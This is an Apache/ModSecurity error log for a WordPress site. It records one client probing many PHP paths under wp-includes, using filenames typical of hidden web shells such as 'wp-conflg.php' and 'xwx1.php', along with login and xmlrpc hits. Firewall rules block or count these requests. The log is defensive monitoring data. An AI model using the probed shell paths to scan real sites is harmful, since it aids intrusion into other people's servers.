[Tue Jan 13 05:17:56.881884 2026] [:error] [pid 57756:tid 57774] [client 4.197.89.35:47075] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aWVlBBb7B3uqOEHw10nEUQAAANA"], referer: https://www.bing.com/
[Tue Jan 13 05:17:56.915000 2026] [:error] [pid 57653:tid 57678] [client 4.197.89.35:10996] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aWVlBIVjCK8w3mABKuGVPQAAABA"], referer: https://www.google.fr/
[Tue Jan 13 05:19:16.755179 2026] [:error] [pid 26395:tid 26406] [client 4.197.89.35:37121] [client 4.197.89.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.89.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWVlVJhRkuVub9GmnFgIYQAAAQk"], referer: https://www.google.co.uk/
[Tue Jan 13 05:19:18.769778 2026] [autoindex:error] [pid 57660:tid 57717] [client 4.197.89.35:16775] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Tue Jan 13 05:19:18.791312 2026] [autoindex:error] [pid 57660:tid 57731] [client 4.197.89.35:16775] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Tue Jan 13 05:19:26.736708 2026] [autoindex:error] [pid 57660:tid 57722] [client 4.197.89.35:16775] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Tue Jan 13 05:19:28.210784 2026] [:error] [pid 57660:tid 57741] [client 4.197.89.35:16775] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aWVlYNMDflPZjoqTTeFHqwAAAJg"], referer: https://www.yahoo.com/
[Tue Jan 13 05:19:28.246381 2026] [:error] [pid 57756:tid 57758] [client 4.197.89.35:57725] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aWVlYBb7B3uqOEHw10nEpwAAAMA"], referer: https://www.google.co.uk/
[Tue Jan 13 05:19:28.283787 2026] [:error] [pid 57653:tid 57662] [client 4.197.89.35:47658] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aWVlYIVjCK8w3mABKuGVpAAAAAA"], referer: https://www.google.co.uk/
[Tue Jan 13 05:19:28.321163 2026] [:error] [pid 57756:tid 57779] [client 4.197.89.35:26540] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aWVlYBb7B3uqOEHw10nEqAAAANU"], referer: https://www.google.fr/
[Tue Jan 13 05:19:28.356098 2026] [:error] [pid 57653:tid 57678] [client 4.197.89.35:55996] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aWVlYIVjCK8w3mABKuGVpQAAABA"], referer: https://www.google.fr/
[Tue Jan 13 05:19:28.390183 2026] [:error] [pid 26395:tid 26406] [client 4.197.89.35:35395] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aWVlYJhRkuVub9GmnFgIiwAAAQk"], referer: https://www.google.com/
[Tue Jan 13 05:19:28.427043 2026] [:error] [pid 26395:tid 26403] [client 4.197.89.35:17944] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aWVlYJhRkuVub9GmnFgIjAAAAQY"], referer: https://www.google.fr/
[Tue Jan 13 05:19:28.461010 2026] [:error] [pid 57756:tid 57770] [client 4.197.89.35:27310] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/random_compat/index.php"] [unique_id "aWVlYBb7B3uqOEHw10nEqQAAAMw"], referer: https://www.google.de/
[Tue Jan 13 05:19:28.497140 2026] [:error] [pid 26395:tid 26411] [client 4.197.89.35:34307] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aWVlYJhRkuVub9GmnFgIjQAAAQ4"], referer: https://www.google.com/
[Tue Jan 13 05:19:28.529628 2026] [:error] [pid 26395:tid 26412] [client 4.197.89.35:21513] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aWVlYJhRkuVub9GmnFgIjgAAAQ8"], referer: https://www.google.fr/
[Tue Jan 13 05:19:28.563867 2026] [:error] [pid 26395:tid 26419] [client 4.197.89.35:10822] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aWVlYJhRkuVub9GmnFgIjwAAARY"], referer: https://duckduckgo.com/
[Tue Jan 13 05:19:31.072701 2026] [:error] [pid 57756:tid 57772] [client 4.197.89.35:15318] [client 4.197.89.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.89.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWVlYxb7B3uqOEHw10nErwAAAM4"], referer: https://www.google.co.uk/
[Tue Jan 13 05:19:32.123902 2026] [autoindex:error] [pid 57756:tid 57763] [client 4.197.89.35:10870] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Tue Jan 13 05:19:33.161952 2026] [autoindex:error] [pid 57756:tid 57765] [client 4.197.89.35:10870] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Tue Jan 13 05:19:35.531736 2026] [:error] [pid 57756:tid 57762] [client 4.197.89.35:15318] [client 4.197.89.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.89.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWVlZxb7B3uqOEHw10nEtwAAAMQ"], referer: https://www.google.de/
[Tue Jan 13 05:19:43.054189 2026] [autoindex:error] [pid 57756:tid 57768] [client 4.197.89.35:10870] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Tue Jan 13 05:19:43.075840 2026] [autoindex:error] [pid 57756:tid 57775] [client 4.197.89.35:10870] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Tue Jan 13 05:19:44.784135 2026] [autoindex:error] [pid 57756:tid 57771] [client 4.197.89.35:10870] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Tue Jan 13 05:19:46.477477 2026] [autoindex:error] [pid 57756:tid 57781] [client 4.197.89.35:10870] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Tue Jan 13 05:19:46.493453 2026] [:error] [pid 57756:tid 57772] [client 4.197.89.35:10870] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aWVlchb7B3uqOEHw10nEzAAAAM4"], referer: https://duckduckgo.com/
[Tue Jan 13 05:19:46.534722 2026] [autoindex:error] [pid 57756:tid 57758] [client 4.197.89.35:43878] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Tue Jan 13 05:19:46.551374 2026] [:error] [pid 57756:tid 57760] [client 4.197.89.35:43878] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aWVlchb7B3uqOEHw10nEzgAAAMI"], referer: https://www.google.de/
[Tue Jan 13 05:19:46.586286 2026] [:error] [pid 57659:tid 57691] [client 4.197.89.35:25795] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aWVlcopeWOFQSBXk4xqyCQAAAEE"], referer: https://www.bing.com/
[Tue Jan 13 05:19:46.619348 2026] [:error] [pid 57756:tid 57776] [client 4.197.89.35:50088] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aWVlchb7B3uqOEHw10nEzwAAANI"], referer: https://www.bing.com/
[Tue Jan 13 05:19:46.659442 2026] [:error] [pid 57756:tid 57780] [client 4.197.89.35:26589] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aWVlchb7B3uqOEHw10nE0AAAANY"], referer: https://www.google.fr/
[Tue Jan 13 05:19:46.704453 2026] [autoindex:error] [pid 57653:tid 57665] [client 4.197.89.35:56900] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Tue Jan 13 05:19:46.750814 2026] [:error] [pid 57653:tid 57668] [client 4.197.89.35:56900] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aWVlcoVjCK8w3mABKuGVuQAAAAY"], referer: https://www.google.fr/
[Tue Jan 13 05:19:46.791352 2026] [autoindex:error] [pid 26395:tid 26414] [client 4.197.89.35:38667] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Tue Jan 13 05:19:46.807703 2026] [:error] [pid 26395:tid 26415] [client 4.197.89.35:38667] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aWVlcphRkuVub9GmnFgIxQAAARI"], referer: https://www.bing.com/
[Tue Jan 13 05:19:46.842110 2026] [:error] [pid 57660:tid 57740] [client 4.197.89.35:50091] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aWVlctMDflPZjoqTTeFHvwAAAJc"], referer: https://www.yahoo.com/
[Tue Jan 13 05:19:46.875480 2026] [:error] [pid 57659:tid 57696] [client 4.197.89.35:25851] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aWVlcopeWOFQSBXk4xqyCgAAAEY"], referer: https://www.google.fr/
[Tue Jan 13 05:19:46.906389 2026] [:error] [pid 57756:tid 57761] [client 4.197.89.35:50097] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/index.php"] [unique_id "aWVlchb7B3uqOEHw10nE0gAAAMM"], referer: https://www.google.com/
[Tue Jan 13 05:19:46.943717 2026] [autoindex:error] [pid 57660:tid 57723] [client 4.197.89.35:38664] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Tue Jan 13 05:19:46.959587 2026] [:error] [pid 57660:tid 57737] [client 4.197.89.35:38664] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aWVlctMDflPZjoqTTeFHwQAAAJQ"], referer: https://www.google.com/
[Tue Jan 13 05:19:46.990843 2026] [:error] [pid 57660:tid 57739] [client 4.197.89.35:25797] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aWVlctMDflPZjoqTTeFHwgAAAJY"], referer: https://www.yahoo.com/
[Tue Jan 13 05:19:47.030771 2026] [autoindex:error] [pid 57756:tid 57782] [client 4.197.89.35:10638] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Tue Jan 13 05:19:47.054540 2026] [autoindex:error] [pid 57756:tid 57765] [client 4.197.89.35:10638] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Tue Jan 13 05:19:47.070444 2026] [:error] [pid 57756:tid 57775] [client 4.197.89.35:10638] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/search/index.php"] [unique_id "aWVlcxb7B3uqOEHw10nE1gAAANE"], referer: https://www.google.de/
[Tue Jan 13 05:19:47.116923 2026] [autoindex:error] [pid 26395:tid 26419] [client 4.197.89.35:56897] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Tue Jan 13 05:19:47.131725 2026] [:error] [pid 26395:tid 26402] [client 4.197.89.35:56897] [client 4.197.89.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aWVlc5hRkuVub9GmnFgIyAAAAQU"], referer: https://www.bing.com/
[Tue Jan 13 06:37:16.603166 2026] [:error] [pid 57659:tid 57704] [client 185.91.67.250:45202] [client 185.91.67.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.91.67.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWV3nIpeWOFQSBXk4xq_-gAAAE4"]
[Tue Jan 13 08:41:05.851965 2026] [:error] [pid 26395:tid 26416] [client 198.12.239.2:27184] [client 198.12.239.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.239.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWWUoZhRkuVub9GmnFg6BQAAARM"]
[Tue Jan 13 10:53:20.993338 2026] [:error] [pid 27597:tid 27603] [client 223.244.35.77:46250] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWWzoD8Db8v8HoJ3n4BZDQAAAAQ"]
[Tue Jan 13 11:00:16.327773 2026] [:error] [pid 22389:tid 22409] [client 213.55.96.153:55310] [client 213.55.96.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.55.96.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWW1QCLIB_8b411qalLKAgAAAVI"]
[Tue Jan 13 12:22:43.516035 2026] [:error] [pid 22485:tid 22503] [client 103.26.10.125:33304] [client 103.26.10.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.26.10.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWXIkxzzbghmKib9ie9_CAAAAZA"]
[Tue Jan 13 12:32:37.907840 2026] [:error] [pid 27597:tid 27619] [client 159.198.40.6:51164] [client 159.198.40.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.198.40.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWXK5T8Db8v8HoJ3n4CHNgAAABQ"]
